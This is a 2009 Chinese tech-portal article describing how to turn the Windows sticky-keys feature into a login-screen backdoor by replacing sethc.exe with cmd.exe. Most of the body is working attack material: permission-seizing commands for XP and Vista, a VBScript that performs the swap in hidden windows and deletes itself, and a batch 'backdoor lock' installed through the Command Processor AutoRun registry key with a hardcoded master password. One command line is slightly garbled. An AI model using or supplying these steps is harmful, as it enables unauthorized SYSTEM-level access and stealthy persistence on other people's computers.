天极传媒:
天极网
比特网
IT专家网
52PK游戏网
极客修
全国分站

北京上海广州深港南京福建沈阳成都杭州西安长春重庆大庆合肥惠州青岛郑州泰州厦门淄博天津无锡哈尔滨

产品
  • 网页
  • 产品
  • 图片
  • 报价
  • 下载
全高清投影机 净化器 4K电视曲面电视小家电滚筒洗衣机
您现在的位置: 天极网 > 软件 > 系统>软件应用>妙用粘滞键打造入侵 Vista 超酷后门

妙用粘滞键打造入侵 Vista 系统超酷后门

天极网软件频道2009-01-06 10:00我要吐槽

 精彩文章推荐:

 手动或自动清除Vista通知区域历史记录

 彻底清除安装Vista SP2后遗留的系统垃圾

 Vista 与 Windows 7的任务栏像素尺寸对比

 Java执行效率测试:Ubuntu 全面领先 Vista

更多相关新闻请点击>>

  在Windows 2000/XP/Vista下,按Shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想Windows的屏保,将程序替换成cmd.exe后,就可以打开shell了。

  一、具体的替换方法:

  XP系统:

  将安装源光盘弹出(或将硬盘上的安装目录改名):


  cd %widnir%\system32\dllcache
  ren sethc.exe *.ex~
  cd %widnir%\system32
  copy /y cmd.exe sethc.exe

  Vista系统:


  takeown /f c:\windows\system32\sethc.exe
  cacls c:\windows\system32\sethc.exe /G administrator:F

  备注:上两步为获得权限的命令,你也可以通过Vista优化大师获得右键菜单的提升权限的功能,然后在sethc.exe文件上面右键直接提升权限。

  然后按XP方法替换文件,

  在登录界面按5此SHIFT,出来cmd shell,然后……

  二、后门扩展:


  Dim obj, success
  Set obj = CreateObject("WScript.Shell")
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
  success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
  success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
  success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
  success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
  success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

  第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题

  再更新,加个自删除、简化代码:


  On Error Resume Next
  Dim obj, success
  Set obj = CreateObject("WScript.Shell")
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
  CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

  三、后门锁扩展:

  allyesno注:可以采用cmd 锁来进行cmdshell的密码验证。

  用下面的后门锁的方法是,把代码保存为bdlock.bat,然后修改注册表位置即可


  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
  "AutoRun"="bdlock.bat"
  @Echo Off
  title 后门登陆验证
  color a
  cls
  set temprandom=%RANDOM%
  echo 请输入验证码:%temprandom%
  set/p check=
  if "%check%"=="%temprandom%%temprandom%" goto passcheck
  if "%check%"=="%temprandom%" (
  rem 后门服务器验证
  rem 如果没有后门验证服务器请rem注释掉下一行代码
  if exist \192.168.8.8\backdoor$\pass goto passcheck
  )
  echo 验证失败
  pause
  exit
  :passcheck
  echo 验证成功
  If "%passcmdlock%"==http://www.6655.com/ Goto endx
  Set passcmdlock=http://www.6655.com/
  :allyesno
  Set Errorlevel=>nul
  Echo 请输入验证密码?
  Set password=allyesno Is a pig>nul
  Set/p password=
  rem 万能密码
  if "%password%"=="allyesno is a sb" goto endx
  If %time:~1,1%==0 Set timechange=a
  If %time:~1,1%==1 Set timechange=b
  If %time:~1,1%==2 Set timechange=c
  If %time:~1,1%==3 Set timechange=d
  If %time:~1,1%==4 Set timechange=e
  If %time:~1,1%==5 Set timechange=f
  If %time:~1,1%==6 Set timechange=g
  If %time:~1,1%==7 Set timechange=h
  If %time:~1,1%==8 Set timechange=i
  If %time:~1,1%==9 Set timechange=j
  set/a sum=%time:~1,1%+%time:~1,1%
  Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
  If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
  Echo 请联系Vista之家咨询正确密码!&Goto allyesno
  :End
  Set password=>nul
  Set Errorlevel=>nul
  Echo 很好,很和谐!
  :endx

Photoshop 教程:让美女的肤色红润有光泽

作者:论坛整理责任编辑:王健)
请关注天极网天极新媒体 最酷科技资讯
扫码赢大奖
评论
* 网友发言均非本站立场,本站不在评论栏推荐任何网店、经销商,谨防上当受骗!
热点推荐
微软Windows 10操作系统Win10系统在Win8的基础上对界面、特性以及跨平台方面做了诸多优化。[详细]
Windows 10 新视界 [进入频道][使用技巧][微博互动]